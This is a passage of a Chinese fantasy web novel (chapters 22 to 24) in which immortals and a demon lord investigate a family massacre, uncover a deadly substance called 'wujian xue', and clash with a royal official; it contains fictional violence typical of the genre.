晏梦年脸色大变,把那人的衣服从里到外翻了两遍,什么也没找到,泄气道:“怎么回事啊?先前咱们找了那么久,一点线索都没有,最近是什么日子啊?线索扎堆往这破院子里钻!等等,是不是你的鼻子出问题了?”
卿岌满脸阴沉地向后一靠,眯了眯眼睛,道:“原本我还只是猜测,如今看来,聂阳王城一定有问题。”
晏梦年:“怎么说?”
“今日遇见不少聂阳王城的人,全都身负异香,”卿岌微一勾唇,讥讽道:“就像以前一样,谁碰了万魔域的那朵花,谁就沾上一身花香,搓下三层皮都洗不掉。我现在真的很好奇,聂阳王城里的稀世之花到底是什么
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。”
异香之事突然变得叵测起来……晏梦年用力地闭了闭眼,深深叹气,问道:“那昨晚又是怎么回事?曹家人真是你杀的?”
说起这个,卿岌漫不经心地“哦”了一声。
“是我。”
“本来没想杀,但刚进曹府就闻到异香。罢了,就当试试新刀。”卿岌翘起二郎腿,不甚在意道:“第一次见到小王女时,闻到她身上的异香我就失控了,可惜那时候就剩一口气,还没反应过来就晕了。至于曹家,谁让他们倒霉呢。”
晏梦年眉头紧皱:“叶姑娘就没怀疑你?”
“也许吧。她向来喜怒不形于色,我也不确定。”卿岌微一挑眉,道:“不过,曹家被妖气笼罩,犄角旮旯都腥得让人想吐——应该是个修为不弱的鱼妖来过。他们都怀疑到这妖物头上了。”
晏梦年“呸”一声,骂骂咧咧地抱起药箱,进内室里给曹家唯一的幸存者诊治,一边道:“没准就是过路歇个脚,谁知道遇上你发疯,那鱼妖真是倒了八辈子血霉!”
……
叶星簌采完药回来,颇热心地询问晏梦年该如何处理,想要帮忙打下手。
后者心虚地觑向她的手背,伤处恢复了一点,但还在渗血,狰狞的鞭痕十分刺眼。
晏大夫正搜刮肠子斟酌该如何关心一下,余光一瞟,竟发现事不关己悠哉喝茶的某人突然顿住了。卿岌自己应该都没发觉,他的视线直勾勾地追着叶姑娘的手腕。
晏梦年翻了个白眼。
“叶姑娘奔走一天辛苦了,剩下的我来就行。”晏梦年接过药草,假装随口道:“我先给姑娘瞧瞧手上的伤吧,老子粗人一个,完全没注意。若非卿岌提醒,只怕是要疏忽了。”
“哦,这个不妨事。”叶星簌意外地看向卿岌,男人神情不动地与她对视,没说话,更没再像平常那般出声呛人。
少女发自心底的笑意缓缓涌上眼角。
卿岌蹙眉偏开视线。
叶星簌不让他糊弄过去,笑道:“卿岌,我还以为你要一直假装没看见呢。”
“呵,谁像你一样,贯爱藏着掖着,即使对上亲姐姐发难,哪怕让自己受伤也不愿使出真本事。”卿岌语气生硬。
叶星簌笑了笑,道:“自家姐妹,哪有真刀真枪拼个你死我活的。”
“这句话听着更虚伪。”卿岌不置可否,戏谑的目光莫名就落在了她的手背上。
晏梦年正在为她处理伤口,刚敷上药,鲜红的血就争先恐后地淌出来。
卿岌周身气压越发低沉,自家姐妹?呵,一鞭子就把亲妹妹打成这样,她嘴里的自家姐妹压根就没手下留情。今日那副架势,没准真能拼出个你死我活。
屋内气氛微僵,叶星簌扯开话题,认真道:“总之,谢谢你这么难得的关心。”
没有等到猜想中的那句“自作多情”,叶星簌有些意外。卿岌只浅浅抿了一口茶,等晏梦年左右找纱布时,他看也不看地把手中一团扔向她。
22. 第 22 章
次日午时,曹家那个少年才悠悠醒转,睁开眼看见守在床边戴着面具的白霓,吓得“噗通”一声从床上掉了下来。
晏梦年率先闻声入内,随即招来叶星簌和卿岌。
少年抱着棉被缩在床脚,哆哆嗦嗦道:“你你你们是谁?我我我这是在哪儿啊?”
四人之中,唯独叶星簌面容和煦,她半蹲在少年跟前,温声道:“我们几个是中原修士,回乡探亲路过冀州,没想到贵府出了意外。我们昨日见过,你还记得吗?”
对方浑身颤抖,眼珠子瞪得几乎要蹦出来,半响才支吾含糊道:“记、记得……”
叶星簌安抚道:“你放心,这里很安全。”
少年极其不安地四下张望,忐忑的视线逐一从白霓、晏梦年和卿岌脸上逡巡扫过,身上的颤抖平复些许。
叶星簌松了一口气。
身后,晏梦年不动声色地看了卿岌一眼,得意挑眉,意在炫耀自己的药。后者压根懒得理会。
叶星簌让白霓倒了一杯水,还没递过去,缩在角落里的少年眼睛一亮,看见那杯水如遇甘霖,手脚并用地扑过来一把抢过,咕咚咕咚地咽下肚。
这杯水让他勉强镇定下来。
少年眼巴巴地望着叶星簌,红着脸嗫嚅道:“仙女姐姐,有、有吃的吗?那个,我饿了……”
叶星簌无奈地看向晏梦年。晏大夫翻了个白眼,认命去做饭。
叶星簌又为他添了一杯水,道:“不知公子今年贵庚?如何称呼?”
少年老老实实道:“我、我叫曹勋,今年十五。曹家宗主,是我爹。”
“曹公子不妨先起来,地上凉。”叶星簌和白霓一人一边把人连拖带拽地搀起来,直奔主题道:“曹公子可有不适?事出突然,人命关天,公子若是撑得住,咱们就开门见山吧。”
曹勋整个人一副失魂落魄的模样,忙不迭点头:“噢噢,撑得住、撑得住。”
叶星簌问:“府里的血案是何时发生?”
曹勋艰难回忆片刻,道:“……昨天半夜,我本来在睡觉,突然听见外面很吵,”面对叶星簌清丽出尘的一张脸,曹勋稍稍一赧,道:“当时睡得正迷糊,突然想上个茅房,就打开房门往外走,结果什么都没看清呢,就被我爹塞进了狗洞里头。
“我当时也纳闷,还以为是那个骗子又来了。谁知道我爹却说不知道是招惹了哪路仇家,让我先待在狗洞里躲躲。
“我意识到不对劲,就从门缝里偷偷看……”
曹勋的脸色陡然变得惨白,回忆起昨夜之事,整个人又剧烈地发颤,语无伦次道:“我、我我看见他杀人了!”
少年惊恐地瞪大双眼,手抖得将杯中清水倾洒满地。
“他杀人很快,像鬼一样!他、他杀了我爹娘,一刀砍下去,我娘就倒了,她死不瞑目,一直在看着我……”
叶星簌在桌面之下的手悄悄施力,一股温和的神力被推入曹勋体内,少年勉强镇定些许,仍旧粗重地喘着气。
昨夜,凶手的每一次手起刀落皆被他看在眼里,至亲仆役的每一声哭嚎惨叫都像鬼哭狼嚎,一闭眼就纠缠而来。人间炼狱,不外乎此。
叶星簌问:“你有没有看清楚那人的长相?”
一侧,卿岌不动神色地抬抬眉梢。
曹勋茫然的眼神转来转去,终于无法忍受地大叫出声,抱着头涕泗横流,痛哭吼道:“我想不起来了!我、我明明记得的!我明明记得,我……”
叶星簌连忙轻拍他的肩,安慰道:“没关系,想不起来就不要想了。”
又费了不少功夫安抚,叶星簌才道:“以你的了解,你们家这些年可有跟什么人结仇?”
曹勋直摇头,口齿不清道:“我不知道,我……我爹从不跟我说这些。”
叶星簌秀眉微敛,缓声道:“你方才说,‘以为是那个骗子又来了’——这话是什么意思?”
曹勋懵了一瞬,随即反应过来,一脸嫌弃地恨恨道:“原本是家族秘辛,还掺杂点丑事,可如今都……仙女姐姐,那我就全告诉你吧。”
叶星簌“嗯”了一声,以示洗耳恭听。
“对了,仙女姐姐,您会法术吗?”
叶星簌默了默,随即伸出左手,掌心瞬息金光流转,不待曹勋惊呼出声,她便拢起手心。
“原来您真是仙女姐姐……”曹勋深吸一口气,稍稍斟酌犹豫之后,一五一十道:“姐姐懂术法,就应该能看出来我家其实徒有虚名。但我爹说,只有这般才能诓到人赚大钱。可时间久了,也不好忽悠,而且我们家无一人有仙缘,所以只能寻人帮忙……”
“我也不知道我爹是如何与那鱼妖结识的,但每次需要有人装腔作势蒙骗求道者,我爹便让那个女人来施法充数。”
叶星簌听完,问道:“你对鱼妖了解多少?”
曹勋:“没多少,我也是听我爹说的,我都没正面瞧过她。”
叶星簌:“称她为‘骗子’又是为何?”
曹勋突然哑声,张了张嘴,到底是没继续说。
叶星簌神情不变,平静的目光看着他,道:“堂堂一个大妖,怎会有如此好心陪你们演戏?”
曹勋嘴唇轻抿。
叶星簌又继续道:“既如此,那我就提醒你另外一件事,小玄山附近的村民接连失踪,此事与你曹家脱不了干系。”
曹勋本就心神惶惶,一听见这番话,直接“扑通”一声瘫跪在地,满脸惧意地向叶星簌哀求道:“姐、姐姐,不关我的事!都是、都是我爹娘和大妖的交易,跟我没关系……”
叶星簌睨着他,不为所动:“我只想听有用的。”
如今的曹勋哪还有遮掩的心思,急急把所有事情尽数抖落:“我说我说!那鱼妖说,要我爹帮她找七七四十九颗活人心脏,事成之后不仅送来稀世珍宝、万两黄金,还答应日后会一直帮着演戏……我爹娘一时鬼迷心窍,就、就……
“可是谁知道她送来的黄金珠宝全是假的!一夜之间,全都变成了贝壳,唯一值钱的就是几颗夜明珠了……”
叶星簌:“为何伪造现场祸水东引?”
曹勋:“是、是鱼妖的主意,姐姐,真是她的主意!那鱼妖说小玄山里枯邕城很近,神仙来了也会以为是魔族干的……”
至此,叶星簌全明白了,她直接打断他的话,厉声问道:“被你们抓走的那些村民呢?”
曹勋脸一白,颤声道:“那鱼妖似乎很着急,绑、绑人当晚,她就直接当着我们的面,把所有村民炼化了。”
越往下说,声音越低。
叶星簌攥紧衣袖,到底是晚了……
叶星簌:“大妖要那么多活人心脏做什么?”
“不知道,她没告诉我们。”
叶星簌吐出一口浊气,胸口翻涌着火气。
曹勋如同抵罪一般,连忙上下摸找,哆哆嗦嗦地掏出一颗夜明珠,“仙女姐姐,我身上就剩这一颗了……”
夜明珠通体晶蓝,隐隐缭绕仙气,细看之下,内里灵力翻涌,自有乾坤,如见浩瀚星海。
叶星簌一愣。
她连忙拿起这颗珠子,左右端详。
卿岌跷着一双长腿,百无聊赖地听了半天,看见她脸色突变,终于提起点兴趣,只瞥一眼,便道:“还是个来历不凡的大妖。”
晏梦年不明所以:“这是什么?夜明珠?这珠子怎么了?”
“这不是普通的夜明珠。”叶星簌解释道:“此物名唤‘星鲛灯’。天上每陨落一颗星星,沉岫海都的鲛人们便会在茫茫大海之中寻找它的星魂。寻回的星魂被存放于鲛珠之中,得以长久安身。”
晏梦年茫然:“没什么特别的用处吗?”
“注点法力能勉强当个往生镜用用,但对凡人来说就是个夜明珠。”卿岌难得愿意赏脸给曹勋,幽幽嘲讽道:“小子,四十九条人命够你全家堕三世地狱,结果就换来几颗破珠子,恕我孤陋寡闻,是凡人的命不值钱还是你家里的算盘珠子坏了?”
曹勋怕他,哆哆嗦嗦不敢吱声。
叶星簌没理会他们,继续给晏梦年解释道:“星鲛灯是罕见贵重之物,由鲛族王子宓衡制成,向来只由鲛族王室保存——那只大妖身份不简单,应该是来自沉岫海都。”
……
曹勋在小茅屋里修养期间,叶星簌把他交代的一番话详细记下,然后施法传给叶珍钰。阿姐的回信只有寥寥数语,信中提及,她已然决定去一趟沉岫海都。
几日来,叶星簌总是提不起心情,小玄山的那些村民到底是没能救回来。
至于曹勋,叶星簌直接对他眼不见为净。曹家人作孽,恶果自食,可她偏偏拿这个什么都知道,却什么都没插手的曹勋没办法。
白霓下山打听过,曹家后事被叶珍钰安排得井井有条,让附近的仙门派人来处理此事,并与凡人衙门官差互有交涉。人死不能复生,事已至此,只能尽力弥补。
风平浪静的一夜,卿岌的房间烛火微黯。
曹勋竟然悄悄找来。
少年神情扭捏,脸颊微红:“卿岌哥,你知道仙女姐姐喜欢什么吗?”
卿岌意味深长地看着他,悠悠道:“你问这做什么?”
曹勋的双颊以肉眼可见的速度涨红,少年从齿缝里哼出几个字:“仙女姐姐又漂亮又温柔,那个,我、我心悦她……”
卿岌恍然,“所以你想讨她欢心?”
曹勋点头如捣蒜。
卿岌信口胡诌道:“哦,她喜欢萤火虫。”
“萤火虫?”曹勋眼睛一亮,“我记得山上就有!”
高兴劲还没过,他面有为难,道:“可、可我不会捉。卿岌哥,你会吗?你能教教我吗?”
卿岌略一颔首,十分果断地迈出屋子,“跟我来。”
少年正是爱玩的年纪,一听现在就去,兴奋得就差蹦起来,对着卿岌就是
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一通夸天夸地的恭维。
夜幕深沉,山上没有一丝灯火。
二人走在伸手不见五指的山径上,四野静得瘆人,夜里的山间凉意无声无息地渗入骨缝,除了他们行走时擦过草叶的沙沙声,便只有偶尔惊响的一两声虫嘶。
少年原本兴致勃勃的声音渐渐消失,不知过了多久,他越走越害怕。他似乎怎么也追不上卿岌漫不经心的步子,他试图出声要卿岌等一等,声音却似卡在喉口。
夜幕上,云层轻轻地动了,吝啬般移开,只显露一半的月亮。
月光也是阴森冷怖的。
“卿岌哥,你……”话音陡然息声。
月影之下,卿岌停住了步子。
男人缓缓地转头,嘴角噙着一抹冷鸷的笑,瞳孔隐隐泛着血光。一阵彻骨冷风吹过,曹勋全然没有反应过来,只模模糊糊看见面前黑影一闪。
下一瞬,腹腔处的锥心疼意便如群蚁啃噬般刺痛全身。
“啊!!!”少年痛嚎出声,下意识地挣扎,却发现自己整个人都是悬空的!
卿岌踩在大石块上,单手握长刀,白刃贯穿少年胸腹,如同轻而易举地挑着一块破布般,将人悬于崖边。
曹勋如同寻找救命稻草,双手在空中胡摸乱抓,不管不顾地攥住刀刃,登时满手染血。
那一瞬间,有什么东西在他的脑海中炸开。
他瞪大双眼,不可思议道:“我、我想起来了,是你!我爹娘都是你杀的!我看到的人是你!!!”
卿岌轻笑一声,“对。”
“你、你……”
卿岌唇角落下,眼中情绪翻涌,还有几分迷蒙。他眯了眯眼,心知此人身上的异香又令他失控了……但可惜,木已成舟。
卿岌直接道:“除了金银珠宝,那鱼妖还许诺了什么,说。”
曹勋咬牙,身上的疼痛让他几欲晕厥,艰难道:“无、无间血……”
他艰难抬手,剧烈颤抖着抽下发簪。
卿岌瞬间收刀,“噗”的一声,鲜血被长刀带得到处喷溅,生生将人连皮带肉向里一扯,随即甩在地上。卿岌俯身拿过他手中发簪,顿时,浓郁的异香排山倒海般袭来,瞬间让他心神不稳,眼前一黑,耳边似乎有无间鬼煞冲喊嘶吼,麻乱杂沓,震耳欲聋。
曹勋胸腹淌血,瘫在地上痛不欲生,又惧又悔道:“我、我老实交代,我再也不隐瞒了……我们帮鱼妖找活人心脏,她给我们金银财宝和无间血。钱财是假的,只、只有无间血是真的!我我我发誓!我只用了一次,只用它杀了一个看不起我的修士!”
发簪中隐隐飘出的异香,于卿岌而言是撕扯灵魂般的痛苦。
他一边忍得脸角微抽,一边沉声问道:“无间血是什么?”
曹勋急急解释道:“是世间最厉害的杀器,只用一滴,杀魔尊杀大妖杀九重天的仙尊都不在话下。”
卿岌勾唇一笑,“哦,这么厉害,那你几日前何不用它杀了我?”
曹勋咬牙:“我当然想杀你!可我没寻着机会,无间血珍贵,我只剩最后一滴了。”
卿岌:“这血是什么来历?”
曹勋:“我不知道,我、我真不知道……”
卿岌眉心紧蹙,拿着簪子借月光端详,在尾梢发现一处精巧的机关。他抬手一拨,地上的曹勋突然凄厉大喊:“不要——”
朱红色的血滴带着异香,直接从簪子里芝麻粗细的管腔里溅了出来。
卿岌的心脏狂跳,怔怔地看着那滴血映着银辉月光,在空中划过一道弧线,最终“啪”地砸在曹勋的眉心。
卿岌双眼充血,阴寒地看着面前的一切。
这么多年了,原来他们追查的东西是血!
曹勋突然凄厉地喊彻天地,疯魔一般在地上挣扎狂扭。从那滴血滴落的位置开始,一种金色的火陡然窜起,以极快的速度向他全身蔓延,几息之间,他的浑身皮肤被烧得一干二净,只剩血淋淋的模糊筋肉,惨不忍睹。那道微弱的金火仍未消散,如同啃噬一般将他的从头到脚燎得只剩白骨,眨眼间,金火蔓过的地方,白骨又变成齑粉,随即“砰”地一声轻响,齑粉消散在四野间……
卿岌生自魔窟,日日浸淫万魔域,本以为天下再没有什么阴狠残暴的东西令他惊色,却在此夜一时僵立原地。
方才还在挣扎的一个人,几息的功夫就在天地间彻底灰飞烟灭。
他突然明白了。
难怪药神身为上古之神,却莫名其妙地突然死了,原来是死于此物!
还有聂阳那一帮人——他终于知道聂阳王城里的“稀世之花”是什么东西了。
卿岌端详簪子,最后一滴血杀掉最后一个人,连异香都消散大半。
异香的气味淡了很多,卿岌微一趔趄,反手将长刀撑地才站稳。头痛欲裂之感渐渐退却,卿岌的眼底缓缓恢复清明。
他沉吟着摩挲发簪。
无间血……
23. 第 23 章
翌日一早,叶星簌遍寻曹勋却不见人影。
院中跷着二郎腿晒太阳的卿岌若无其事地扔给她一只琉璃罐。
叶星簌不明所以地捧着罐子,刚想发问,就看见里面扑飞的萤火虫,她惊喜道:“这是萤火虫吗?你捉的?送给我?”
卿岌“嗯”了一声。
叶星簌眼睛很亮,捧着萤火虫笑盈盈问道:“对了,你知道今天是什么日子吗?”
卿岌看傻子一般瞥她一眼。
叶星簌弯起眼睛,道:“今天是我的生辰。”
少女眼中尽是期待,卿岌不明所以,仍旧沉眼睨着她。
“这个就当你送的生辰礼了,”叶星簌半开玩笑地打趣问道,“那还有没有祝福的话?”
卿岌犹豫一瞬,叶星簌却已习以为常地扯开话题,笑道:“好吧,我今天心情好,没有也没关系。说起来,我还是第一次见到萤火虫呢,谢谢你。”
“对了,你看到曹公子了吗?怎么一大早就不见人了。”
卿岌不屑:“谁吃饱了撑的看他。”
叶星簌张望着下山的路,琢磨道:“难不成是自己走了?不对啊,那小子心思活泛,大妖的下落尚不明朗,他应该不会一无所知就下山。”
卿岌淡声轻唤:“叶姑娘。”
“嗯?”叶星簌下意识地应了一声。
卿岌抬眼,直勾勾的视线对上她的眸子,眼中缭缭血光一闪而过,摄人心魂。
叶星簌的双瞳迷蒙一瞬,片刻后,她捧着琉璃罐,怔怔道:“……刚刚说到哪儿了?哦,谢谢你的萤火虫。”
叶星簌:“曹公子离开得也太匆忙了,好在那小子心思活泛,他应该有法子自保。”
卿岌淡淡地“嗯”了一声,满意扯唇。
第一次见到萤火虫,叶星簌喜欢得移不开眼睛,兴致勃勃地捧着琉璃罐回屋。
木门阖上,这时,角落里装哑巴择菜的晏大夫哼了又哼,道:“嘴里嚷嚷着要杀人,结果干了坏事还想瞒着她,我说小尊主啊,您什么时候活得这么别扭了?”
卿岌抱臂倚柱,两条长腿交叠跷在院内石案上,阖目养神,冷声道:“你我还要借她铺路,才能进入聂阳王城去找无间血的来历,其他的麻烦能少则少,没功夫应付她。”
“是吗,所以凭什么啊?”晏梦年不忿道:“那你怎么不把巫族摄心术用在那曹家小儿身上?还得让我费劲配药,怎么着,区区凡人不配您出手,就叶姑娘金贵?”
卿岌不耐:“你能不能闭嘴。”
……
叶星簌捧着脸趴在桌案上,视线追着罐中翩飞跳跃的萤火虫。屋里光线较黯,它们的尾部一闪一闪的,透过白玉剔透的琉璃,明灭交替,如见星幕。
“王女。”白霓突然闪身出现,直接跪在她面前。
叶星簌眼中的欢欣顿时消散,直起身子:“说。”
白霓低下头,双手捧着一些东西。
叶星簌原本一头雾水,定睛看去,心中的所有思绪都消散了。她觉得自己始终置身于无边无际的荒漠间,心生幻想,竟把偶尔出现的海市蜃楼当绿洲。原来,等到云雾消散,她依然踽踽不得终日。
那是神烛。
是她不顾白霓阻拦,执意送给村民们的驱魔烛。
如今,物归原主。
叶星簌的视线落在白霓的掌心。原本完整无损的蜡烛,被小心切成均匀数段,大多都有点燃过的痕迹,看来那个小姑娘真的听了她的话分送给邻里。
叶星簌面无表情道:“是你取回来的?”
白霓:“是。”
叶星簌轻嗤一笑,自嘲道:“谁说泼出去的水收不回来。”
白霓的声调毫无起伏,“王女赠烛之举实在是有些冲动了,但请您宽心,属下已经以其他东西换赠给山民了。”
叶星簌气笑了,“怎么,还想让我夸你不成?”
白霓:“属下绝无此意。”
叶星簌冷漠问道:“谁的命令?是聂阳王君,还是金峻涛?”
白霓道:“回王女,王上随天君去昆仑赴宴了,收回神烛是金掌事的意思。昨日金掌事亲临小玄山,无意中发现了神烛,这才将属下召去详问此事。”
“你刚说什么?!”叶星簌突然厉声。
白霓又重复一遍方才说的话。
“金峻涛为什么会来小玄山?”
白霓:“金掌事说,他是奉王上之命,特地来此护佑王女安全。”
叶星簌沉吟,这说辞真是过于敷衍,堂堂王城掌事绝不会贸然撂挑子,巴巴跑来当她侍卫。她瞬间就明白了,金峻涛一定是领了聂阳王君的命令来的。
而且是从她刚出聂阳王城,这人就暗中跟上了。
至于是什么命令,叶星簌也能猜到。聂阳王君连明鹤璋都看不上,更遑论一介凡人。她假借寻找心上人转世为由来到人间,而聂阳王君只怕早已做好斩草除根的打算。
凭她的了解,金峻涛行事诡异,手段狠辣阴险,平日里掌管刑狱罪罚,就喜欢百般折磨人。聂阳王君或许只命他暗中动手,但以他的作风,八成会阳奉阴违,故意当着她的面杀人。
金峻涛就喜欢看别人痛苦不堪的模样,哪怕是她这个名义上的小主人。
这人暗中跟了她这么久,突然大大剌剌地把白霓召去,看来是想动手了。
不过话说回来,那个虚无缥缈的心上人根本不存在,她又不可能真的去找书里那个人间皇帝。
所以,金峻涛盯上谁了啊……
余光一瞟,窗格外,卿岌坐没坐相睡得正悠闲。
叶星簌一顿,暗道不好,金峻涛不会是以为卿岌或者晏大夫就是她要找的人吧……
如今还不知道金峻涛带了多少人来,以免发生冲突,殃及无辜,得赶紧把卿岌和晏梦年支开。
她略一思索,一把拉开屋门。
听见声响,卿岌撩开一只眼睛。
叶星簌靠近他,笑道:“我思来想去,你对救命恩人的态度还是太敷衍。生辰多重要啊,你就想拿一罐萤火虫打发我?”
叶星簌态度变得太突兀,卿岌不明所以地盯着她。
晏大夫倒是没觉得不对,一听这话很是热情,立马道:“我刚刚还说他呢,简直一点诚意都没有,小虫子算什么生辰礼啊!我正好要去城里买点药,叶姑娘,您爱吃什么?今晚我下厨,给你做碗长寿面吧!”
“好啊!好吃的我都爱吃,多谢晏先生好意!”叶星簌笑吟吟道:“对了卿岌,你还记得我在冀州城的铁匠铺里预订的那副刀吗?能不能劳烦你们跑个腿,去取回来?”
卿岌一动不动,“不记得。”
叶星簌直接无视他的拒绝,继续道:“我还想吃笋蕨馄饨,你再帮我带一份回来。”
不等他继续开口,叶星簌放软了声音,带着几分央求道:“你就去吧,好吗?”
莫名地,卿岌犹豫了。
小神仙突然变得如此反常一定是发生了什么事,他瞥了一眼晏梦年,这傻子还在懵圈中。卿岌收回视线,不由忖度
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,用这么拙劣的借口把他俩都支开……
他第一反应就是几日前发现的外来客。如他所料,身负异香之人果然都是冲她来的。
既如此,不如将计就计,看看聂阳这伙人到底想干什么。
晏梦年以为他不愿去,正在绞尽脑汁地叭叭:“叶姑娘,卿岌不去我去,您把那铺子的位置和名字告诉我,我正好得去买一把采药镐……”
旁边的卿岌长腿一扫,站起来拍拍袖上浮灰,似笑非笑地看着叶星簌,颇为爽快道:“行,等着。”
晏梦年的声音戛然而止:“?”
真的是吃错了药吧!
……
神烛通体赤红如血,叶星簌垂眸看着它们,身形孤伶地坐在桌前发呆。
不知过了多久,窗外山风骤起,刮得树叶哗哗作响。白霓站在一侧,低声提醒道:“王女,是金掌事到了。”
叶星簌半晌才恹恹抬头,“哦,那就和我迎一迎日理万机的掌事大人。”
“是。”
白霓为她打开房门,叶星簌负手而立,房檐落下的阴影遮住了她的半张脸。少女双眼冷静无神,冷淡的视线看向小院子门口狞笑粗犷的男人。
金峻涛身形魁梧,脸上的刀疤醒目狰凶。
他看着叶星簌的眼神也没有丝毫的敬意,目光直白阴诡,豺目狼顾,既不掩戏谑又暗含隐隐的兴奋,手中把玩着一柄与他体型极不相称的小巧匕首,整个人比之魔族少尊的那头三头蟒更显阴寒。
金峻涛不是一个人来的。
他的后侧,立着一个用斗篷将自己包裹得严严实实的黑衣人,兜帽下是一副严丝合缝的银质面具,只露出一双黑黢黢的眼睛,无声无息,如同鬼魅。
二人齐齐跪下,金峻涛高声道:“臣下参见王女!”
叶星簌抬步迈过门槛,站在檐下,视线从那个一言不发的黑衣人身上扫过,没说什么。少女高高在上地睨着他们,淡声道:“起来吧。”
“谢小王女。”
叶星簌意有所指道:“金掌事向来夙夜在公,只是没想到,如今连些鸡毛蒜皮的小事都要您亲力亲为。”
金峻涛哈哈一笑:“王女何出此言,为您和王上分忧是臣下的份内之责,不分大事小事。小王女年幼,经世尚浅,白霓又是个粗手粗脚的性子,王上就这么放您下界游历,久日不归,属下也很是担心呐!”
听着这些冠冕堂皇的鬼话,叶星簌一言不发。
金峻涛继续道:“小王女自幼养在深闺,不知这世道多艰、人心叵测,王女心地纯善,臣下实在不忍看到您被有心人利用。”
叶星簌唇角微扬,笑意却不达眼底,“不知掌事大人说的‘有心人’是谁?”
“王女一向聪慧,何必跟臣下打哑迷。凡人都是贪欲无度的,若是那两个凡人知道了您的身份,一定会起贪心,臣下都是为了您好。”金峻涛环视一圈,哼笑道,“这话又说回来了,您把那两个凡人支走也无济于事。臣下有的是耐心,在此等着便是。”
叶星簌笑吟吟道:“金掌事功高望重,如今竟是连我都不放在眼里。”
“小王女这话就说得重了,臣下不过是聂阳王室的一条狗,向来只会对您摇尾乞怜。”金峻涛咧嘴一笑:“小王女金枝玉叶,便是和九重天储君也相配。但您怎能将心力耗在那凡人的贱命上,不值得啊。”
“不过,王女且放心,王上视您为掌上明珠,自然不会逼您亲自割舍情意。金某不才,唯独手脚麻利干净。您断不掉的牵绊,臣下来断。”
24. 第 24 章
此话一出,四下无声,唯有山风骤然拂过,吹起叶星簌鬓边散乱的发丝。
金峻涛面容阴翳,目光像吐着涎谋势而动的毒蛇,直勾勾地审视着她。
叶星簌神情冷淡地与他对视,她知道这个疯子想看什么。
想看她勃然大怒,想看她大惊失色,更想看她无助绝望、哭喊求饶。
“好吧,那金掌事自便。”叶星簌转身回屋。
“王女留步。”金峻涛出声阻拦。
叶星簌止步侧目,“还有什么事?”
金峻涛的视线越过她,落在桌案上堆放的神烛上,笑道:“说起来,小王女真是被王上宠坏了,怎么不小心把圣物送出去了?”
叶星簌好笑道:“金掌事是在审我?”
“不敢不敢。”金峻涛道:“王女心性纯善,定是被那些低贱村夫装模作样地哄着心软了。都是白霓不懂事,在臣下跟前说了些不知分寸的话,害得臣下误会。”
白霓垂首站在一侧,叶星簌冷扫她一眼,然后眉眼弯弯地轻笑道:“掌事大人没有误会,哪怕是无垢火、老君丹、鲛绡纱、神火鼎等等这样的仙家至宝,只要我高兴,想送什么就送什么,想送给谁就送给谁。”
轻飘飘的一席话,却令金峻涛周身气息顿时沉了下去。
金峻涛沉眼睃目,突然大笑道:“此般风范,不愧是这四海八荒最尊贵的聂阳王女!”
叶星簌站在台阶上冷眼旁观,像是在看一个莫名其妙的疯子。
金峻涛的笑声停下,变了一副冷鸷嘴脸,道:“只是,王女您明明知道,驱魔烛是由无间血炼制而成,而无间血实在匮缺。您送出去多少神烛,臣下就得再炼多少来弥补亏空。小王女,臣下只是心疼您——”
叶星簌眯了眯眼。
“臣下清点过了,那些神烛加起来差不多燃尽了半根。”金峻涛眼底的疯魔与戏谑如浪翻涌,步步逼来,佯装沉思道:“炼制半根神烛,差不多需要一碗无间血。”
“王女,您说,臣下算的对不对?”
金峻涛的脚步不停,他身后的蒙面黑衣人同样气势凛凛地逼向她。
叶星簌吐出一口浊气,厉声道:“站住!”她五指一握,倏地唤出长剑。
男人应声停下脚步,但她的一瞬失色大大取悦了金峻涛,他贪婪的目光狠狠地攫住少女脸上的每一丝变化。
叶星簌没料到金峻涛此行的目的原来不止杀人。先前送出去的神烛成了她的祸端,但她并不后悔。
或者说,这些日子来她脱轨般肆意行事,随心所欲地干了许多找死的事,本就不在乎任何后果。但栽在金峻涛这种人手里,她还是有点不甘心。
唯一值得庆幸的一点是,算算时间,卿岌他们应该不会这么早回来……
“小王女。”金峻涛沉声打断了她的胡思乱想,叶星簌心提剑横挡在身前,冷声道:“金掌事,不过是半根蜡烛,何必急于一时。”
金峻涛佯作无奈,“小王女的想法实在天真。臣下倒是不想劳心费神,可纸包不住火,等王上日后追究起来,您无非挨几句骂,臣等却是罪责难逃。”
此人满脸堆笑,实则咄咄逼人势不相让。
叶星簌瞪着他,也懒得再跟这种货色多费口舌,心下一横,就当赌一把。
她手腕轻翻,剑气瞬间化作无数道尖利的冰刃朝他二人刺去。
金峻涛有些意外她会突然出手,忙把袖子一甩,变出一把千斤重的长柄斧,双手交错握着长杆旋动,震力交错,一声巨响轰然炸开,数道冰刃直直装了上来,强劲的神力带起气浪迸涌,木石飞炸。
叶星簌运力一推,漫天散落的冰刃齑粉又席地卷起,遽然掀起狂风大作,粉末映着粼粼日光,眨眼间又化作星罗棋布般的冰刃,毫不留情地射向金峻涛的面门。
“砰”地一声,一道银光法阵陡然挡在金峻涛面前。
叶星簌冷眼一扫,是那个始终装聋作哑的黑衣人出手了。
对方身形如影般极快掠过,与金峻涛并肩而立,二人功法相一,但哪怕他们联手也不是叶星簌的对手。
密密麻麻的冰刃极快地飞旋,通天神力逼着他们的法阵寸寸后移。
金峻涛额头的青筋都崩了起来,仍咬牙冷笑道:“小王女身居高位却依旧孜孜勤勉,您的修为岂是我等蝼蚁能敌。”
掌心中的耀耀神光映在叶星簌的瞳孔里跳跃,她道:“掌事大人还是闭嘴吧,听你说话容易上火。”
话音刚落,神力激荡,悬于空中的冰刃如同被陡然灌注通天之力,轰然击碎他们的两道法阵,冰刃以流火之势逼向他二人的面门,刺目的白光一闪,冰刃在一瞬间化作长剑,势不可挡地朝前袭去,金峻涛二人错脚后趔还未站稳,便看见叶星簌不知何时已欺身袭来,素白的手指握住剑柄,那双星眸尽显冷漠。
谁料,在剑尖将要刺入金峻涛皮肉的那一瞬间,一道外力冷不丁扫向她的剑锋。
剑尖被那道外力打偏了,擦着金峻涛的脸刺空。
瞬间,一道血淋淋的剑痕出现在他的脸侧,细密的血珠汩汩涌出。
阻拦她的人是白霓。
叶星簌眼底生凉,毫不犹豫地将长剑在掌心一旋,剑光直直冲向她的命门。
只是,在她出手的同时,心脏仿佛被人狠狠地攥住了。
她的心跳骤然一顿,随即便是排山倒海般的痛感在她的经脉和全身血肉中横冲直撞。叶星簌的周身神力在一瞬间散灭成空,连长剑都“啪”地砸落在地。
叶星簌瞳孔骤缩,又来了……
锥心般的痛苦还没过去,浑身力气便像是被抽空般消失。
